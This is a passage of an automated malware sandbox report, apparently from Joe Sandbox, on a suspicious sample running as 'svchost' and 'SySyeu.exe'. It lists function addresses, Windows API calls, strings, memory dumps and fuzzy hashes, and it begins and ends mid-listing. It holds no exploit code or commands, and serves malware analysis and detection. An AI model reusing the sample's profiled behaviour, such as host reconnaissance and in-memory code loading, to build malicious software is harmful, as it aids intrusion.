Part of subcall function 10004822: GetProcAddress.KERNEL32(?,RegEnumKeyExA), ref: 100048CA
Part of subcall function 10004822: GetProcAddress.KERNEL32(?,RegCloseKey), ref: 100048D7
Part of subcall function 10004822: FreeLibrary.KERNEL32(?,?,?,?,?,?,?,00002081,00000144,00000000), ref: 10004A63

lstrlenA.KERNEL32(?,?,1000377E,?,00000032,?,?,?,00000004), ref: 10003611
gethostname.WS2_32(?,?), ref: 10003621

Strings

Remark, xrefs: 100035F9

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: AddressProc$memset$Library$FreeLoadgethostnamelstrlen
String ID: Remark
API String ID: 619171837-3865500943
Opcode ID: 83dbbab8dfa45e9539ae4d59c493a246dad8b5cf60af1f24285e8dd54035da6b
Instruction ID: 39b077b3adc2da00c1cb4508d3157ec8a6411d10b118cb0f162994d28e94cfda
Opcode Fuzzy Hash: 83dbbab8dfa45e9539ae4d59c493a246dad8b5cf60af1f24285e8dd54035da6b
Instruction Fuzzy Hash: BDE0B635240219BBEF125F91CC46F9E3F2AEB087D1F108014FB18681A5DB739660AB89

Function 100039BA Relevance: 5.1, APIs: 4, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004,00000000,?,?), ref: 10003A10
memset.MSVCRT ref: 10003A1B
VirtualAlloc.KERNEL32(?,?,00001000,00000004,00000000,?,?), ref: 10003A31
memcpy.MSVCRT(00000000,?,?), ref: 10003A40

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: AllocVirtual$memcpymemset
String ID:
API String ID: 2542864682-0
Opcode ID: a05ca4ebf277b10faf3ccce4336dd2b651ae8b873c4573ed6e3e9fab059df227
Instruction ID: 4a5287acb012e3640f8314301f41164344c56cf0a301795e67bafcb82fb77477
Opcode Fuzzy Hash: a05ca4ebf277b10faf3ccce4336dd2b651ae8b873c4573ed6e3e9fab059df227
Instruction Fuzzy Hash: 82213871A00208AFEB11CF59CC81F9AB7F8FF44344F118459E9809B251D770AA50CB54

Analysis Process: SySyeu.exePID: 3260, Parent PID: 2688COMMON

Execution Graph

Execution Coverage:	12.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	19.3%
Total number of Nodes:	673
Total number of Limit Nodes:	13

Executed Functions

Function 00E15911 Relevance: 51.0, APIs: 22, Strings: 7, Instructions: 258
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathIsRelativeW.API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0(?,00000000,00000000,00000000), ref: 00E15932
RtlSetSearchPathMode.NTDLL(00008001), ref: 00E15945
SearchPathW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(00000000,?,00000000,00000104,?,?), ref: 00E15961
GetFileAttributesW.KERNEL32(?,?,?), ref: 00E159BF
CreateActCtxW.API-MS-WIN-CORE-SIDEBYSIDE-L1-1-0(00000020,?,?), ref: 00E159D1
CreateActCtxWWorker.KERNEL32(00000020,?,?), ref: 00E15A17
CreateActCtxWWorker.KERNEL32(00000020,?,?), ref: 00E15A38
CreateActCtxWWorker.KERNEL32(00000020,?,?), ref: 00E15A59
GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000,?,?), ref: 00E15A98
CreateActCtxWWorker.KERNEL32(?,?,?), ref: 00E15AB5
ActivateActCtx.API-MS-WIN-CORE-SIDEBYSIDE-L1-1-0(?,00000000,?,?), ref: 00E15AF3
SetWindowLongW.USER32(?,00000000,00000001), ref: 00E15B67
GetWindowLongW.USER32(?,00000000), ref: 00E15B77
GetWindow.USER32(?,00000003), ref: 00E15B89
memset.MSVCRT ref: 00E15BA7
GetClassNameW.USER32(00000000,?,00000050), ref: 00E15BB9
CompareStringW.API-MS-WIN-CORE-STRING-L1-1-0(0000007F,00000001,?,000000FF,IME,000000FF), ref: 00E15BD7
GetWindow.USER32(00000000,00000003), ref: 00E15BE5
GetWindow.USER32(00000000,00000004), ref: 00E15BF0
GetWindowLongW.USER32(00000000,000000EC), ref: 00E15BFD
SetWindowLongW.USER32(00000000,000000EC,?), ref: 00E15C37
NtdllDefWindowProc_W.NTDLL(?,0000001C,?,?), ref: 00E15C56

Strings

|, xrefs: 00E15A2D
IME, xrefs: 00E15BC5
.manifest, xrefs: 00E159A8
, xrefs: 00E1597D
N, xrefs: 00E15B39
, xrefs: 00E15AAB
Qj, xrefs: 00E15B5C, 00E15C41

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: Window$Create$LongWorker$Path$Search$ActivateAttributesClassCompareFileHandleModeModuleNameNtdllProc_RelativeStringmemset
String ID: $ $.manifest$IME$N$Qj$|
API String ID: 1028207903-2085582975
Opcode ID: 78ea605a8ec1ec116843f3ed746b85d3934746d576fc33e8ed6e68e69f314c81
Instruction ID: 704f54d2c5d8c38b1f0a2c90147554a62b1c923f267338ead0fcd0d0239f693a
Opcode Fuzzy Hash: 78ea605a8ec1ec116843f3ed746b85d3934746d576fc33e8ed6e68e69f314c81
Instruction Fuzzy Hash: 4E91A571A00619EFDB209F65DC8CFDAB7B8AF89324F104295F529F2190D7749A88CF61

Function 00E14136 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 193
memorylibrarynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapSetInformation.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000001,00000000,00000000), ref: 00E1414D
NtSetInformationProcess.NTDLL ref: 00E14162
AttachConsole.API-MS-WIN-CORE-CONSOLE-L1-2-0(000000FF), ref: 00E14199
LocalAlloc.API-MS-WIN-CORE-HEAP-L2-1-0(00000040,00000000), ref: 00E141B1
LoadLibraryExW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(WLDP.DLL,00000000,00000800,?,?,?), ref: 00E1420E
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000,WldpIsAllowedEntryPoint), ref: 00E14220
SetErrorMode.KERNEL32(00008001), ref: 00E1428A
DestroyWindow.USER32(?), ref: 00E1433B
FreeLibrary.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000), ref: 00E14345
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0(00000000), ref: 00E1434F
DeactivateActCtx.API-MS-WIN-CORE-SIDEBYSIDE-L1-1-0(00000000,00000000), ref: 00E14386
ReleaseActCtx.API-MS-WIN-CORE-SIDEBYSIDE-L1-1-0(?), ref: 00E1438D

Part of subcall function 00E137C3: CoInitializeEx.API-MS-WIN-CORE-COM-L1-1-0(00000000,00000002), ref: 00E137D4
Part of subcall function 00E137C3: CoInitializeSecurity.API-MS-WIN-CORE-COM-L1-1-0(00E119CC,00000000,00000000,00000000,00000000,00000000,00000000,00000008,00000000), ref: 00E137F0
Part of subcall function 00E137C3: CreateEventW.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000,00000001,00000000,00000000), ref: 00E13808
Part of subcall function 00E137C3: GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00E1381D
Part of subcall function 00E137C3: CreateEventW.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000,00000000,00000000,?), ref: 00E13866
Part of subcall function 00E137C3: SetEvent.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000), ref: 00E13873
Part of subcall function 00E137C3: CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(00000000), ref: 00E1387A
Part of subcall function 00E137C3: CoWaitForMultipleHandles.API-MS-WIN-CORE-COM-L1-1-0(00000000,00007530,00000001,00E18420,?), ref: 00E13897
Part of subcall function 00E137C3: CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00E138D9
Part of subcall function 00E137C3: CoUninitialize.API-MS-WIN-CORE-COM-L1-1-0 ref: 00E138E7

FreeLibrary.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000), ref: 00E14398
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0(00000000), ref: 00E143A1
FreeConsole.API-MS-WIN-CORE-CONSOLE-L1-2-0 ref: 00E143B0
ExitProcess.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00E143B7

Strings

localserver, xrefs: 00E14261
requestedRunLevel, xrefs: 00E14362
WLDP.DLL, xrefs: 00E14209
WldpIsAllowedEntryPoint, xrefs: 00E1421A

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: Free$EventLibraryLocal$CloseConsoleCreateHandleInformationInitializeProcess$AddressAllocAttachCurrentDeactivateDestroyErrorExitHandlesHeapLoadModeMultipleProcReleaseSecurityThreadUninitializeWaitWindow
String ID: WLDP.DLL$WldpIsAllowedEntryPoint$localserver$requestedRunLevel
API String ID: 3009286836-3890604504
Opcode ID: d7e45284c00077fa63b478dd751e0f981203565cd9ffbd69f7f191c724e464aa
Instruction ID: 7469631d59dfde77f7593fc501b7144cdce285ab86df01d11c7c6f0c79a02901
Opcode Fuzzy Hash: d7e45284c00077fa63b478dd751e0f981203565cd9ffbd69f7f191c724e464aa
Instruction Fuzzy Hash: 3C615BB12043019FD710DF61D855AEFB7E5AF88714F049A29F9A6B22E1DB30C989CB52

Function 00E15D6A Relevance: 10.6, APIs: 7, Instructions: 87
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtOpenProcessToken.NTDLL(000000FF,00000008,00000000), ref: 00E15D8E
RtlNtStatusToDosError.NTDLL ref: 00E15D95
NtClose.NTDLL ref: 00E15DBE
QueryActCtxW.API-MS-WIN-CORE-SIDEBYSIDE-L1-1-0(80000000,00000000,00000000,00000005,?,0000000C,00000000), ref: 00E15DED
NtOpenProcessToken.NTDLL(000000FF,00000080,?), ref: 00E15E13
NtSetInformationToken.NTDLL ref: 00E15E2F
NtClose.NTDLL ref: 00E15E38

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: Token$CloseOpenProcess$ErrorInformationQueryStatus
String ID:
API String ID: 3674487995-0
Opcode ID: f03b18247f4cb333afd65284cfb6d2e87a3cf700e72be052233959325228a60b
Instruction ID: 5e840bf56cd525dfa40d6e1b2734a2db663940aa7e18c6b1e22645d144633553
Opcode Fuzzy Hash: f03b18247f4cb333afd65284cfb6d2e87a3cf700e72be052233959325228a60b
Instruction Fuzzy Hash: D221A233E00619AFDB209FA59D49BEF7B78AB84725F110214EA11B71E0DA709D84C7A1

Function 00E13C66 Relevance: 7.6, APIs: 5, Instructions: 84
librarywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,00000000,00000008), ref: 00E13C87
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,00000000,00000008), ref: 00E13C93
FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00001200,00000000,00000000,00000000,?,00000104,00000000,?,00000000,00000008), ref: 00E13CF2

Part of subcall function 00E13B09: GetCurrentProcess.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,?), ref: 00E13B39
Part of subcall function 00E13B09: IsWow64Process2.API-MS-WIN-CORE-WOW64-L1-1-1(00000000), ref: 00E13B40
Part of subcall function 00E13B09: GetSystemDirectoryW.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,000000F6), ref: 00E13B6C
Part of subcall function 00E13B09: PathCchAppend.API-MS-WIN-CORE-PATH-L1-1-0(?,00000105,rundll32.exe), ref: 00E13B87

RtlImageNtHeader.NTDLL(00000000), ref: 00E13D13
SetProcessMitigationPolicy.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1(00000000,?,00000008,?,00000000,00000008), ref: 00E13D4B

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: Process$AppendCurrentDirectoryErrorFormatHeaderImageLastLibraryLoadMessageMitigationPathPolicyProcess2SystemWow64
String ID:
API String ID: 4162338769-0
Opcode ID: b03e5a00fb8a5f445f41c2979f803c597596bc35fb42805b1f8dc34b09fab369
Instruction ID: 0be2da90a22d9b21ffadb7e2ee155e9bece4483e70389426e6e3627f98462f58
Opcode Fuzzy Hash: b03e5a00fb8a5f445f41c2979f803c597596bc35fb42805b1f8dc34b09fab369
Instruction Fuzzy Hash: 3B2171B06402186EFB24DB359C89FFA76BDEBD4700F149169F509F6191DAB08FC48A71

Function 00E15CF1 Relevance: 4.6, APIs: 3, Instructions: 53
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQueryInformationToken.NTDLL ref: 00E15D17
NtQueryInformationToken.NTDLL ref: 00E15D3C
RtlNtStatusToDosError.NTDLL ref: 00E15D4D

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: InformationQueryToken$ErrorStatus
String ID:
API String ID: 1049779487-0
Opcode ID: 43c4219de079094ce77a24ffc52868678f89d3ceb4be5d2ddea80c65ff0b3ac6
Instruction ID: c923e5849429b991482a008ae4645bf863e9d0a5805aebb9bd70283af84f0f8c
Opcode Fuzzy Hash: 43c4219de079094ce77a24ffc52868678f89d3ceb4be5d2ddea80c65ff0b3ac6
Instruction Fuzzy Hash: 4D01B572A00218FBEB209AA1EC4DBEF7BFCEB80755F104061AA01F6051D374D948C761

Function 00E140B1 Relevance: 1.5, APIs: 1, Instructions: 27
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQuerySystemInformation.NTDLL ref: 00E140D2

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 9a47a71b99336180d264d5f3a72dd135eecc82a7848dba545b0aaa193c1c208e
Instruction ID: 578fea3889db5a079631957238731305cd5b6ee8dc794487c94d6be8b6c5339d
Opcode Fuzzy Hash: 9a47a71b99336180d264d5f3a72dd135eecc82a7848dba545b0aaa193c1c208e
Instruction Fuzzy Hash: 31E0927470030C6FE710DFA69985BEEBBEC9B48708F15602AEA41B72C1D9B0E848D621

Function 00E15E4F Relevance: 1.5, APIs: 1, Instructions: 12
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrResolveDelayLoadedAPI.NTDLL(00E10000,?,?), ref: 00E15E71

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: DelayLoadedResolve
String ID:
API String ID: 841769287-0
Opcode ID: c90928275fa1abe61f09e1f1791bfb77294f9199c073b59e1c594316bf6ead95
Instruction ID: 87d4029ccc8bd5578f6cfc9189511b280b49d6d67e891359e9059e6e03545783
Opcode Fuzzy Hash: c90928275fa1abe61f09e1f1791bfb77294f9199c073b59e1c594316bf6ead95
Instruction Fuzzy Hash: 69D0C53A045288BF8F425FC3AC25DC97F2AE79C761B01C046F72825031C6729568AB61

Function 00E15F25 Relevance: 10.6, APIs: 7, Instructions: 138
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoW.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,00E16C20,00000058), ref: 00E15F3A
Sleep.API-MS-WIN-CORE-SYNCH-L1-2-0(000003E8), ref: 00E15F6F
_amsg_exit.MSVCRT ref: 00E15F84
_initterm.MSVCRT ref: 00E15FD8
__IsNonwritableInCurrentImage.LIBCMT ref: 00E16004
exit.MSVCRT ref: 00E16087

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: CurrentImageInfoNonwritableSleepStartup_amsg_exit_inittermexit
String ID:
API String ID: 2849151604-0
Opcode ID: 5c26e41573fd36c83c505745fbc91a87ba951696e37dd8c51a381cee2ffcbb96
Instruction ID: 374cd706a6f79001cffb6c770f930e8f65921b8af3584576b8ea05022ab6dceb
Opcode Fuzzy Hash: 5c26e41573fd36c83c505745fbc91a87ba951696e37dd8c51a381cee2ffcbb96
Instruction Fuzzy Hash: A241E072A01712DFEB349F59D9457E976A0EB48759F20A02EE811B72D0CF708CC9CA54

Function 00E15C6C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 48
registrywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadIconW.USER32(?,00000064), ref: 00E15C95
LoadCursorW.USER32(00000000,00007F00), ref: 00E15CA4
RegisterClassW.USER32(?), ref: 00E15CC7
CreateWindowExW.USER32(00000080,RunDLL,00E119A0,00000000,80000000,80000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00E15CE6

Strings

RunDLL, xrefs: 00E15CAD, 00E15CE0

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: Load$ClassCreateCursorIconRegisterWindow
String ID: RunDLL
API String ID: 1446224504-1316671358
Opcode ID: 5ea1653883be83631f52e29593aafc03d0215477e39d85edb88b0e49c1b219b9
Instruction ID: 6cc8f78e955811db623d3daea13f5a587156b4f04cc096cd7b73d69b2da180da
Opcode Fuzzy Hash: 5ea1653883be83631f52e29593aafc03d0215477e39d85edb88b0e49c1b219b9
Instruction Fuzzy Hash: E601A9B1D00218AFEB109F9A9C89AEFBABCFB8C754F508059F514B2240D77459458BB4

Function 00E13E5B Relevance: 6.1, APIs: 4, Instructions: 108
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E13C66: LoadLibraryExW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,00000000,00000008), ref: 00E13C87
Part of subcall function 00E13C66: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,00000000,00000008), ref: 00E13C93

Part of subcall function 00E13D62: _wtoi.MSVCRT(?), ref: 00E13D94
Part of subcall function 00E13D62: GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?), ref: 00E13DA0

WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0(00000000,00000400,?,?,00000000,00000000,00000000,00000000), ref: 00E13EF5
LocalAlloc.API-MS-WIN-CORE-HEAP-L2-1-0(00000000,00000000), ref: 00E13F00
WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0(00000000,00000400,?,?,00000000,00000000,00000000,00000000), ref: 00E13F1E
FreeLibrary.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?), ref: 00E13F5C

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: ByteCharLibraryMultiWide$AddressAllocErrorFreeLastLoadLocalProc_wtoi
String ID:
API String ID: 1343397253-0
Opcode ID: 3f35737156cdb835c683478ae3527484c05c8f70aee9891c1161d07284307bd4
Instruction ID: 61424653a24624a33050761ab86884d38c9e84ea76fe113a4a09cb196953a2a7
Opcode Fuzzy Hash: 3f35737156cdb835c683478ae3527484c05c8f70aee9891c1161d07284307bd4
Instruction Fuzzy Hash: 28314CB5A00205EFDB14CFA9C8549EFBBB9EF89704F248069E915A7350DB309E42CB60

Function 00E15EF0 Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wgetmainargs.KERNELBASE ref: 00E15F14

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: __wgetmainargs
String ID:
API String ID: 1709950718-0
Opcode ID: 51e252cd98d832f4848bda6422248a35598eab311e273e852bfc4fb681e53f71
Instruction ID: 6c894bac7a693da8a4a8d196927244f0b217647b790585f4b9ff350b79fd9e39
Opcode Fuzzy Hash: 51e252cd98d832f4848bda6422248a35598eab311e273e852bfc4fb681e53f71
Instruction Fuzzy Hash: 9CD012706C130CEFF7609F27AF4A8C13AA0A31CF40705B054F840B11A2DE75989C8F11

Non-executed Functions

Function 00E161C0 Relevance: 6.0, APIs: 4, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,00E162F6,00E11000), ref: 00E161C7
UnhandledExceptionFilter.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00E162F6,?,00E162F6,00E11000), ref: 00E161D0
GetCurrentProcess.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(C0000409,?,00E162F6,00E11000), ref: 00E161DB
TerminateProcess.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(00000000,?,00E162F6,00E11000), ref: 00E161E2

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: 4a276c9e9a2de8fb9bf1dfe67ddb7c362b1d4b5fbad0a80769cf0ff9521d745b
Instruction ID: dead9b5eceea8f21e980b25b37ddeb6fe9dca4cda1ecacf35a15b2427b416e8f
Opcode Fuzzy Hash: 4a276c9e9a2de8fb9bf1dfe67ddb7c362b1d4b5fbad0a80769cf0ff9521d745b
Instruction Fuzzy Hash: B5D0C932900104BFCB002FF2EC1DA893E28FB48212F05C410F31AA2022CB314846CB61

Function 00E125B2 Relevance: 4.7, APIs: 3, Instructions: 187threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,00000000,00000000), ref: 00E1265E
IsDebuggerPresent.API-MS-WIN-CORE-DEBUG-L1-1-0 ref: 00E12737
OutputDebugStringW.API-MS-WIN-CORE-DEBUG-L1-1-0(?), ref: 00E127A1

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: CurrentDebugDebuggerOutputPresentStringThread
String ID:
API String ID: 4268342597-0
Opcode ID: 53357a75ac604eeba6539083711a7b3028a9b111e0f12cef418fccfb028daa6c
Instruction ID: e0582a9b458367a99b73904404a80bb79b3b67ff838862f6b4d3c55d676e5ca4
Opcode Fuzzy Hash: 53357a75ac604eeba6539083711a7b3028a9b111e0f12cef418fccfb028daa6c
Instruction Fuzzy Hash: CD619E706002059FCB21DF39DD546EEBBE6BF84710B19952EE91AF32A0DB34E895CB50

Function 00E1205A Relevance: 1.5, APIs: 1, Instructions: 33comCOMMON

Download Yara Rule

APIs

CoCreateInstance.API-MS-WIN-CORE-COM-L1-1-0(00E1161C,00000000,00000001,00E11940,?), ref: 00E12072

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000007.00000002.4130706138.0000000000E10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4130773816.0000000000E19000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e10000_SySyeu.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: c60f07d3db1ee06f25020485ce0d0bdba82bdd9037d40d39f06d6679a82800a7
Instruction ID: 467fc625cf38e70785839c096dedd0453158c3970d21a3d7c88ca95ed5b74e41
Opcode Fuzzy Hash: c60f07d3db1ee06f25020485ce0d0bdba82bdd9037d40d39f06d6679a82800a7
Instruction Fuzzy Hash: 68F05E35740228BFCA00DB55DC55FCD7769EB88710F144095FA06F7291CAB1AE45CB90

Function 00E16510 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(Function_000064C0), ref: 00E16515

Memory Dump Source

Source File: 00000007.00000002.4130740219.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E10000, based on PE: true

